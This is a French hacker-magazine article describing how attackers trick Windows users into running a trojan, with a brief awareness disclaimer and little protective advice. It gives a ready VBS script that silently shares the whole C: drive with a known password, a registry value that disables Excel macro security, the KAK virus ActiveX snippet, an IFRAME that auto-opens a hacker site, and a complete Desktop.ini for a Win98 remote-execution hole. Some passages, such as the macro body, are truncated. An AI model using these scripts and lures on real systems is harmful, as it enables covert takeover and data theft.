INSTALLER UN
ET COMMENT S'EN
PROTEGER
Bon c'est bien
gentil d'avoir récupéré tout plein de troyens sur internet, ou mieux d'avoir
passé un peu de temps à taper le code source de ce numéro (non détecté par
les antivirus, d'ailleurs), mais... les installer sur son propre ordinateur,
c'est pas toujours top ! Et se faire pirater de cette façon, là ça devient
carrément l'horreur. Mais alors, comment font les hackers pour infiltrer le
troyen dans une autre machine sous windows, et comment se protéger ? Pour le
hacker, cela revient à obliger une personne à exécuter un programme ".exe"
(qui sera le troyen, justement). Les possibilités sont nombreuses, mais seule
l'une ou l'autre va pouvoir marcher, suivant la version de windows utilisée, sa
configuration, le degré de connerie de l'utilisateur... On peut aussi combiner
ces techniques. Ah un truc important: mon objectif n'est pas de fournir des
astuces permettant aux script-kiddies d'aller tout droit à la case prison, mais
de montrer enfin au grand jour les risques réels que vous encourez quand vous
surfez sur le net ou quand vous lisez vos mails. A vous de prendre vos
responsabilités et de faire le discernement entre le jeu entre potes et le
piratage nuisible, réprimé par la loi. KROSOFT AIDE LES HACKERZ
INFILTRATION PAR FAKE MAIL
Le fichier envoyé peut ne pas être le .exe (si trop gros), mais un script vbs, qui pourra "préparer le terrain" : avec un tel script on peut tout faire, par exemple désactiver certaines fonctions de sécurité de windows, mettre C:\ en partage public, télécharger et exécuter un programme... Vous trouverez aussi sur internet un prog pour insérer un petit .exe dans un script vbs (en le codant en ASCII et le décodant) et l'exécuter en utilisant la faille de KAK (voir plus loin), c'est GodMessageIV. Le concept est intéressant mais je déconseille vivement l'utilisation de ce progz qui peut être destructeur.
PARTAGE INVISIBLE DE C:\ AVEC UN SIMPLE SCRIPT VBS:
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", 770, "REG_DWORD"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm1enc", 6837, "REG_BINARY"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Parm2enc", 0, "REG_BINARY"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Remark", ""
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", 0, "REG_DWORD"
Pour accéder au disque de la victime ayant commis l'erreur d'exécuter ce script, le pirate n'a plus qu'à taper "\\IP_de_la_victime\C$" dans la fenêtre du voisinage réseau, et à donner le mot de passe (ici c'est deux fois le charactère ASCII numéro 128, représenté encodé dans le registre par la valeur 6837). Grâce au symbole $, ce partage total de C: est totalement invisible pour la victime, la faute à qui ?
|
LES MACROS TUEUSES
Toujours par mail, le black hat peut aussi choisir d'envoyer un document non exécutable, par exemple un fichier word. Ca fait moins suspect, surtout dans le cadre d'une correspondance interne à l'entreprise. Celui-ci fera le sale boulot dès qu'il sera ouvert, grâce à une macro. C'est aussi possible avec Excel, Access.. Les nouvelles versions (97 ou 2000) lancent généralement des alertes avant d'exécuter ces macros, mais pas les anciennes. Et pas Access 2000 (!). Il est toujours possible que l'utilisateur passe outre l'avertissement, surtout avec un bon social engineering. Voici une macro Word qui lance à l'ouverture un exécutable inséré comme objet OLE dans le document et repéré par le bookmark "EXE": Sub AutoOpen() Les programmes de la suite Office ont d'autres failles. Ainsi Excel 97 ne prévient pas de l'exécution d'une macro si le document est protégé par mot de passe ! De plus, ces utilitaires sauvegardent leurs niveaux de sécurité dans la base de registre. Il y a 3 niveaux , le plus bas (level 1) autorise les macros et l'exécution d'objets OLE sans avertissement. On peut modifier la base de registre à l'aide d'un simple script vbs, d'une macro word, d'un fichier batch... L'attaque peut ainsi se faire en plusieurs étapes: une première attaque, légère, qui va sembler inoffensive mais va modifier la base de registre pour désactiver la sécurité. Et dans une deuxième phase, envoi d'un fichier word contenant le troyen et la macro qui va l'exécuter. Pour Excel 97 la clé est dans : HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft
Excel, mettre "Options6"=dword:00000000 supprime la sécurité.
Pour Word 2000 la clé est dans : Plus inquiétant: Wordpad (livré en standard avec windows) permet d'insérer des objets OLE dans le document, par exemple un .exe, mais ne lance pas de warning si l'on clique dessus pour l'exécuter ! Il est donc possible d'envoyer un fichier .doc à quelqu'un qui n'a pas Word, en ayant inséré à l'intérieur le troyen (à l'aide de Word par exemple). Celui-ci apparaîtra sous la forme d'une icône, avec une légende en-dessous, les deux sont configurables comme on veut ! Trop facile alors d'inciter quelqu'un à cliquer dessus. |
|
GNAK GNAK
Il est possible aussi d'envoyer un mail contenant du javascript en exploitant une faille d'ActiveX (sous Outlook ou IE), comme le fait le virus KAK. Voici les parties clés du code de ce virus qui lui donnent accès à tout le disque dur à partir d'un simple mail au format html (alors installez les updates de krosoft pour être protégés !) <object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object> Une autre idée est de joindre un fichier non exécutable destiné à être ouvert par un programme donné, en formatant ce fichier de telle façon qu'il provoque un bug du programme (buffer overflow) qui va permettre d'exécuter directement un code machine inséré dans le fichier. Ce code pourra télécharger le troyen et l'exécuter, par exemple... Pour cela le pirate doit se renseigner sur les utilitaires que sa victime utilise, et trouver les bugs qui vont permettre ces fameux BOF. Ce n'est donc pas donné à tout le monde. Certaines versions des logiciels de mails sont elles même vulnérables à des BOF, comme Outlook Express. Il suffit alors d'envoyer un mail formaté d'une manière spéciale pour provoquer l'overflow et prendre le contrôle de l'ordinateur. Pour se renseigner sur les BOF possibles, voir les bases de donnée de vulnérabilités sur www.securityfocus.com par exemple.Revenons un instant au social engineering: l'evil hacker peut tout simplement envoyer par la poste un faux CD de démonstration gratuite d'un programme super intéressant. Ou mettre de la pub dans la boite aux lettres pour un site web qui fournit un tel programme. Bien sûr il s'agit en réalité d'un troyen... Il peut aussi inciter par mail à aller sur un site, en particulier en insérant dans le code html du mail un tag qui va ouvrir la page web automatiquement: <IFRAME SRC="http://www.bad.boy.fk.yu"></IFRAME>. (Il peut aussi remplacer l'url par "javascript:window.open('http://truc')" ou par toute autre fonction javascript) Ou encore en envoyant un mail en format html (comme une page web) avec un lien dissimulé vers le site (par exemple lorsque l'on clique sur l'image de fond). Ce site peut inciter à télécharger le troyen par de la fausse pub, mais peut aussi le faire automatiquement en exploitant des bugs des navigateurs comme Internet Explorer. On entre là dans les méthodes les plus subtiles, mais également les plus difficiles à mettre en oeuvre. Le malveillant doit soit arriver à faire un BOF du navigateur, soit utiliser des failles comme celles répertoriées sur www.guninski.com. Guninski est un spécialiste en sécurité qui est souvent le premier à détecter et diffuser les failles des produits Microsoft, et je crois qu'on peut le remercier, car sans ces connaissances, pas de protection possible. En voici un exemple frappant. |
|
LES BUGS CACHES DE WINDOWS
Hallucinant ! Un trou de sécu monstre existe dans win98, si l'affichage des dossiers en tant que page web est activé (et c'est le cas par défaut). Créer dans un répertoire les fichiers cachés Desktop.ini et Folder.htt. Quand quelqu'un va browser ce répertoire avec windows 98, grâce à un controle ActiveX, le premier fichier listé va pouvoir être être sélectionné (focus) et ouvert (InvokeVerb). Le problème, c'est que cela marche aussi bien en local qu'à travers internet ou un réseau local, si le répertoire est partagé (protocole samba). Et l'action "ouvrir" appliquée sur le fichier aaa.exe va EXECUTER ce dernier sur la machine DISTANTE (celle qui s'est connectée au partage samba et qui est rentrée dans le répertoire malveillant). Si ça c'est pas un "security hole"... Imaginez un mail ou une page web qui ouvrirait automatiquement l'url "\\\\IP_de_l'ordi_du_hacker\\evil_répertoire". En quelques secondes vous êtes infectés ! Pour info, vous trouverez le fichier Folder.htt sur http://www.guninski.com/ieshelldefview.html.Quand au fichier Desktop.ini, le voici: --- Desktop.ini --- [ExtShellFolderViews] Default={5984FFE0-28D4-11CF-AE66-08002B2E1262} {5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262} [{5984FFE0-28D4-11CF-AE66-08002B2E1262}] PersistMoniker=file://Folder.htt [.ShellClassInfo] ConfirmFileOp=0 |
LA MORALE
J'espère que cet article a atteint son but: faire prendre conscience de l'ampleur des menaces existantes, et de la facilité avec laquelle un individu mal intentionné pourrait les mettre en oeuvre. La seule solution pour vraiment sécuriser ses données, c'est de les stocker sur un ordinateur isolé d'internet. Et encore, il y a Tempest. On est vraiment protégés de rien... Même sous linux, quand je vois la fréquence des plantages de Netscape, je me dis qu'il doit y avoir pas mal de buffer overflow potentiels. A PROPOS... Tu es certain qu'un inconnu n'est pas en train de formater ton disque en ce moment ?
FozZy